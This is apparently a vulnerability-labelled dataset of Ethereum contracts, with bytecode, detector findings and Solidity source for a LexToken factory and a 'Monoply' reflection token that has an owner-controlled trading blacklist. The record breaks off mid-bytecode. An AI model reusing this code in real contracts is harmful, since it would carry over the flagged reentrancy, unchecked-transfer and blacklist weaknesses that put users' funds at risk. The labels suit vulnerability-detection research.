09450945050505061202f565b611fa76002600060098481548110611f7b57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490612090565b9250611fe96003600060098481548110611fbd57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390612090565b9150600101611ec8565b50600a5461200a90683635c9adc5dea00000611a0a565b82101561202957600a54683635c9adc5dea0000093509350505061202f565b90925090505b9091565b60008060008060008060008060006120508a600c54600d546121d8565b9250925092506000612060611b68565b905060008060006120738e878787612227565b919e509c509a509598509396509194505050505091939550919395565b600061176283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115ed565b600082820183811015611762576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000612136611b68565b9050600061214483836119b1565b3060009081526002602052604090205490915061216190826120d2565b3060009081526002602090815260408083209390935560069052205460ff1615610f87573060009081526003602052604090205461219f90846120d2565b30600090815260036020526040902055505050565b600a546121c19083612090565b600a55600b546121d190826120d2565b600b555050565b60008080806121ec606461106389896119b1565b905060006121ff60646110638a896119b1565b90506000612217826122118b86612090565b90612090565b9992985090965090945050505050565b600080808061223688866119b1565b9050600061224488876119b1565b9050600061225288886119b1565b90506000612264826122118686612090565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220fb7fb5ec6e84ddd4253a382e41a4a0117c2df45bf9f3d4fe7b581a5d8839ef7264736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,256
0xb7f448b85d278e0df231d06bc2c6727dbdb0f89a
/* ██╗ ███████╗██╗ ██╗ ██║ ██╔════╝╚██╗██╔╝ ██║ █████╗ ╚███╔╝ ██║ ██╔══╝ ██╔██╗ ███████╗███████╗██╔╝ ██╗ ╚══════╝╚══════╝╚═╝ ╚═╝ ████████╗ ██████╗ ██╗ ██╗███████╗███╗ ██╗ ╚══██╔══╝██╔═══██╗██║ ██╔╝██╔════╝████╗ ██║ ██║ ██║ ██║█████╔╝ █████╗ ██╔██╗ ██║ ██║ ██║ ██║██╔═██╗ ██╔══╝ ██║╚██╗██║ ██║ ╚██████╔╝██║ ██╗███████╗██║ ╚████║ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝ DEAR MSG.SENDER(S): / LexToken is a project in beta. // Please audit and use at your own risk. /// Entry into LexToken shall not create an attorney/client relationship. //// Likewise, LexToken should not be construed as legal advice or replacement for professional counsel. ///// STEAL THIS C0D3SL4W ////// presented by LexDAO LLC */ // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.7.4; interface IERC20 { // brief interface for erc20 token function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); } library SafeMath { // arithmetic wrapper for unit under/overflow check function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } } contract LexToken { using SafeMath for uint256; address payable public manager; // account managing token rules & sale - see 'Manager Functions' - updateable by manager uint8 public decimals; // fixed unit scaling factor - default 18 to match ETH uint256 public saleRate; // rate of token purchase when sending ETH to contract - e.g., 10 saleRate returns 10 token per 1 ETH - updateable by manager uint256 public totalSupply; // tracks outstanding token mint - mint updateable by manager uint256 public totalSupplyCap; // maximum of token mintable bytes32 public DOMAIN_SEPARATOR; // eip-2612 permit() pattern - hash identifies contract bytes32 constant public PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); // eip-2612 permit() pattern - hash identifies function for signature string public details; // details token offering, redemption, etc. - updateable by manager string public name; // fixed token name string public symbol; // fixed token symbol bool public forSale; // status of token sale - e.g., if `false`, ETH sent to token address will not return token per saleRate - updateable by manager bool private initialized; // internally tracks token deployment under eip-1167 proxy pattern bool public transferable; // transferability of token - does not affect token sale - updateable by manager mapping(address => mapping(address => uint256)) public allowances; mapping(address => uint256) public balanceOf; mapping(address => uint256) public nonces; event Approval(address indexed owner, address indexed spender, uint256 value); event Redeem(string redemption); event Transfer(address indexed from, address indexed to, uint256 value); event UpdateGovernance(address indexed manager, string details); event UpdateSale(uint256 saleRate, uint256 saleSupply, bool burnToken, bool forSale); event UpdateTransferability(bool transferable); function init( address payable _manager, uint8 _decimals, uint256 _managerSupply, uint256 _saleRate, uint256 _saleSupply, uint256 _totalSupplyCap, string calldata _details, string calldata _name, string calldata _symbol, bool _forSale, bool _transferable ) external { require(!initialized, "initialized"); manager = _manager; decimals = _decimals; saleRate = _saleRate; totalSupplyCap = _totalSupplyCap; details = _details; name = _name; symbol = _symbol; forSale = _forSale; initialized = true; transferable = _transferable; if (_managerSupply > 0) {_mint(_manager, _managerSupply);} if (_saleSupply > 0) {_mint(address(this), _saleSupply);} // eip-2612 permit() pattern: uint256 chainId; assembly {chainId := chainid()} DOMAIN_SEPARATOR = keccak256(abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256(bytes("1")), chainId, address(this))); } function _approve(address owner, address spender, uint256 value) internal { allowances[owner][spender] = value; emit Approval(owner, spender, value); } function approve(address spender, uint256 value) external returns (bool) { _approve(msg.sender, spender, value); return true; } function _burn(address from, uint256 value) internal { balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(from, address(0), value); } function burn(uint256 value) external { _burn(msg.sender, value); } function burnFrom(address from, uint256 value) external { _approve(from, msg.sender, allowances[from][msg.sender].sub(value)); _burn(from, value); } function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { _approve(msg.sender, spender, allowances[msg.sender][spender].sub(subtractedValue)); return true; } function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { _approve(msg.sender, spender, allowances[msg.sender][spender].add(addedValue)); return true; } // Adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol function permit(address owner, address spender, uint256 deadline, uint256 value, uint8 v, bytes32 r, bytes32 s) external { require(block.timestamp <= deadline, "expired"); bytes32 hashStruct = keccak256(abi.encode( PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)); bytes32 hash = keccak256(abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, hashStruct)); address signer = ecrecover(hash, v, r, s); require(signer != address(0) && signer == owner, "!signer"); _approve(owner, spender, value); } receive() external payable { // SALE require(forSale, "!forSale"); (bool success, ) = manager.call{value: msg.value}(""); require(success, "!ethCall"); _transfer(address(this), msg.sender, msg.value.mul(saleRate)); } function redeem(uint256 value, string calldata redemption) external { _burn(msg.sender, value); emit Redeem(redemption); } function _transfer(address from, address to, uint256 value) internal { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function transfer(address to, uint256 value) external returns (bool) { require(transferable, "!transferable"); _transfer(msg.sender, to, value); return true; } function transferBatch(address[] calldata to, uint256[] calldata value) external { require(to.length == value.length, "!to/value"); require(transferable, "!transferable"); for (uint256 i = 0; i < to.length; i++) { _transfer(msg.sender, to[i], value[i]); } } function transferFrom(address from, address to, uint256 value) external returns (bool) { require(transferable, "!transferable"); _approve(from, msg.sender, allowances[from][msg.sender].sub(value)); _transfer(from, to, value); return true; } /**************** MANAGER FUNCTIONS ****************/ modifier onlyManager { require(msg.sender == manager, "!manager"); _; } function _mint(address to, uint256 value) internal { require(totalSupply.add(value) <= totalSupplyCap, "capped"); balanceOf[to] = balanceOf[to].add(value); totalSupply = totalSupply.add(value); emit Transfer(address(0), to, value); } function mint(address to, uint256 value) external onlyManager { _mint(to, value); } function mintBatch(address[] calldata to, uint256[] calldata value) external onlyManager { require(to.length == value.length, "!to/value"); for (uint256 i = 0; i < to.length; i++) { _mint(to[i], value[i]); } } function updateGovernance(address payable _manager, string calldata _details) external onlyManager { manager = _manager; details = _details; emit UpdateGovernance(_manager, _details); } function updateSale(uint256 _saleRate, uint256 _saleSupply, bool _burnToken, bool _forSale) external onlyManager { saleRate = _saleRate; forSale = _forSale; if (_saleSupply > 0 && _burnToken) {_burn(address(this), _saleSupply);} if (_saleSupply > 0 && !_burnToken) {_mint(address(this), _saleSupply);} emit UpdateSale(_saleRate, _saleSupply, _burnToken, _forSale); } function updateTransferability(bool _transferable) external onlyManager { transferable = _transferable; emit UpdateTransferability(_transferable); } function withdrawToken(address[] calldata token, address[] calldata withdrawTo, uint256[] calldata value, bool max) external onlyManager { // withdraw token sent to lextoken contract require(token.length == withdrawTo.length && token.length == value.length, "!token/withdrawTo/value"); for (uint256 i = 0; i < token.length; i++) { uint256 withdrawalValue = value[i]; if (max) {withdrawalValue = IERC20(token[i]).balanceOf(address(this));} IERC20(token[i]).transfer(withdrawTo[i], withdrawalValue); } } } /* The MIT License (MIT) Copyright (c) 2018 Murray Software, LLC. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ contract CloneFactory { function createClone(address payable target) internal returns (address payable result) { // eip-1167 proxy pattern adapted for payable lexToken bytes20 targetBytes = bytes20(target); assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), targetBytes) mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) result := create(0, clone, 0x37) } } } contract LexTokenFactory is CloneFactory { address payable public lexDAO; address public lexDAOtoken; address payable immutable public template; uint256 public userReward; string public details; event LaunchLexToken(address indexed lexToken, address indexed manager, uint256 saleRate, bool forSale); event UpdateGovernance(address indexed lexDAO, address indexed lexDAOtoken, uint256 userReward, string details); constructor(address payable _lexDAO, address _lexDAOtoken, address payable _template, uint256 _userReward, string memory _details) { lexDAO = _lexDAO; lexDAOtoken = _lexDAOtoken; template = _template; userReward = _userReward; details = _details; } function launchLexToken( address payable _manager, uint8 _decimals, uint256 _managerSupply, uint256 _saleRate, uint256 _saleSupply, uint256 _totalSupplyCap, string memory _details, string memory _name, string memory _symbol, bool _forSale, bool _transferable ) external payable returns (address) { LexToken lex = LexToken(createClone(template)); lex.init( _manager, _decimals, _managerSupply, _saleRate, _saleSupply, _totalSupplyCap, _details, _name, _symbol, _forSale, _transferable); if (msg.value > 0) {(bool success, ) = lexDAO.call{value: msg.value}(""); require(success, "!ethCall");} if (userReward > 0) {IERC20(lexDAOtoken).transfer(msg.sender, userReward);} emit LaunchLexToken(address(lex), _manager, _saleRate, _forSale); return(address(lex)); } function updateGovernance(address payable _lexDAO, address _lexDAOtoken, uint256 _userReward, string calldata _details) external { require(msg.sender == lexDAO, "!lexDAO"); lexDAO = _lexDAO; lexDAOtoken = _lexDAOtoken; userReward = _userReward; details = _details; emit UpdateGovernance(_lexDAO, _lexDAOtoken, _userReward, _details); } }
0x6080604052600436106100705760003560e01c80636f2ddd931161004e5780636f2ddd93146103185780638976263d1461032d578063a994ee2d146103ca578063e5a6c28f146103df57610070565b80634f411f7b14610075578063565974d3146100a65780635d22b72c14610130575b600080fd5b34801561008157600080fd5b5061008a610406565b604080516001600160a01b039092168252519081900360200190f35b3480156100b257600080fd5b506100bb610415565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100f55781810151838201526020016100dd565b50505050905090810190601f1680156101225780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61008a600480360361016081101561014757600080fd5b6001600160a01b038235169160ff6020820135169160408201359160608101359160808201359160a08101359181019060e0810160c0820135600160201b81111561019157600080fd5b8201836020820111156101a357600080fd5b803590602001918460018302840111600160201b831117156101c457600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561021657600080fd5b82018360208201111561022857600080fd5b803590602001918460018302840111600160201b8311171561024957600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561029b57600080fd5b8201836020820111156102ad57600080fd5b803590602001918460018302840111600160201b831117156102ce57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505050508035151591506020013515156104a3565b34801561032457600080fd5b5061008a61083e565b34801561033957600080fd5b506103c86004803603608081101561035057600080fd5b6001600160a01b03823581169260208101359091169160408201359190810190608081016060820135600160201b81111561038a57600080fd5b82018360208201111561039c57600080fd5b803590602001918460018302840111600160201b831117156103bd57600080fd5b509092509050610862565b005b3480156103d657600080fd5b5061008a610970565b3480156103eb57600080fd5b506103f461097f565b60408051918252519081900360200190f35b6000546001600160a01b031681565b6003805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561049b5780601f106104705761010080835404028352916020019161049b565b820191906000526020600020905b81548152906001019060200180831161047e57829003601f168201915b505050505081565b6000806104cf7f000000000000000000000000e877e12d278c6a6d2cc6e34184b340216b55b236610985565b9050806001600160a01b0316637a0c21ee8e8e8e8e8e8e8e8e8e8e8e6040518c63ffffffff1660e01b8152600401808c6001600160a01b031681526020018b60ff1681526020018a815260200189815260200188815260200187815260200180602001806020018060200186151581526020018515158152602001848103845289818151815260200191508051906020019080838360005b8381101561057f578181015183820152602001610567565b50505050905090810190601f1680156105ac5780820380516001836020036101000a031916815260200191505b5084810383528851815288516020918201918a019080838360005b838110156105df5781810151838201526020016105c7565b50505050905090810190601f16801561060c5780820380516001836020036101000a031916815260200191505b50848103825287518152875160209182019189019080838360005b8381101561063f578181015183820152602001610627565b50505050905090810190601f16801561066c5780820380516001836020036101000a031916815260200191505b509e505050505050505050505050505050600060405180830381600087803b15801561069757600080fd5b505af11580156106ab573d6000803e3d6000fd5b50505050600034111561074d57600080546040516001600160a01b039091169034908381818185875af1925050503d8060008114610705576040519150601f19603f3d011682016040523d82523d6000602084013e61070a565b606091505b505090508061074b576040805162461bcd60e51b815260206004820152600860248201526708595d1a10d85b1b60c21b604482015290519081900360640190fd5b505b600254156107d9576001546002546040805163a9059cbb60e01b81523360048201526024810192909252516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b1580156107ac57600080fd5b505af11580156107c0573d6000803e3d6000fd5b505050506040513d60208110156107d657600080fd5b50505b8c6001600160a01b0316816001600160a01b03167f176531a4d8afdce919b7d31d8cfd2b6d7a2787ef70e6fc44d338bce7a6a080e68c876040518083815260200182151581526020019250505060405180910390a39c9b505050505050505050505050565b7f000000000000000000000000e877e12d278c6a6d2cc6e34184b340216b55b23681565b6000546001600160a01b031633146108ab576040805162461bcd60e51b8152602060048201526007602482015266216c657844414f60c81b604482015290519081900360640190fd5b600080546001600160a01b038088166001600160a01b031992831617909255600180549287169290911691909117905560028390556108ec600383836109d7565b50836001600160a01b0316856001600160a01b03167fc16022c45ae27eef14066d63387483d5bb50365e714b01775bf4769d05470a5985858560405180848152602001806020018281038252848482818152602001925080828437600083820152604051601f909101601f1916909201829003965090945050505050a35050505050565b6001546001600160a01b031681565b60025481565b6000808260601b9050604051733d602d80600a3d3981f3363d3d373d3d3d363d7360601b81528160148201526e5af43d82803e903d91602b57fd5bf360881b60288201526037816000f0949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282610a0d5760008555610a53565b82601f10610a265782800160ff19823516178555610a53565b82800160010185558215610a53579182015b82811115610a53578235825591602001919060010190610a38565b50610a5f929150610a63565b5090565b5b80821115610a5f5760008155600101610a6456fea2646970667358221220ef76cd2b169a2e8b46730af73154d11d0d727308d070d5e5338639ed78b2f28c64736f6c63430007040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
10,257
0xa88c917ea7bf747abf1a4efd905ac2cfe8170e51
/** *Submitted for verification at Etherscan.io on 2021-08-22 * Monopoly Token * T.me/MonoplyETH * www.monopolytoken.org */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Monoply is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Monoply Token T.me/MonoplyETH"; string private constant _symbol = "Monoply"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 4; uint256 private _teamFee = 4; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 4; _teamFee = 4; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (10 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues( tAmount, _taxFee, _teamFee ); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tTeam, currentRate ); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e6c565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612973565b61045e565b6040516101789190612e51565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a3919061300e565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612920565b61048b565b6040516101e09190612e51565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612886565b610564565b005b34801561021e57600080fd5b50610227610654565b6040516102349190613083565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129fc565b61065d565b005b34801561027257600080fd5b5061027b61070f565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612886565b610781565b6040516102b1919061300e565b60405180910390f35b3480156102c657600080fd5b506102cf6107d2565b005b3480156102dd57600080fd5b506102e6610925565b6040516102f39190612d83565b60405180910390f35b34801561030857600080fd5b5061031161094e565b60405161031e9190612e6c565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612973565b61098b565b60405161035b9190612e51565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129b3565b6109a9565b005b34801561039957600080fd5b506103a2610ad3565b005b3480156103b057600080fd5b506103b9610b4d565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a56565b6110a5565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128e0565b6111ec565b604051610418919061300e565b60405180910390f35b60606040518060400160405280601d81526020017f4d6f6e6f706c7920546f6b656e20542e6d652f4d6f6e6f706c79455448000000815250905090565b600061047261046b611273565b848461127b565b6001905092915050565b600066038d7ea4c68000905090565b6000610498848484611446565b610559846104a4611273565b6105548560405180606001604052806028815260200161378a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff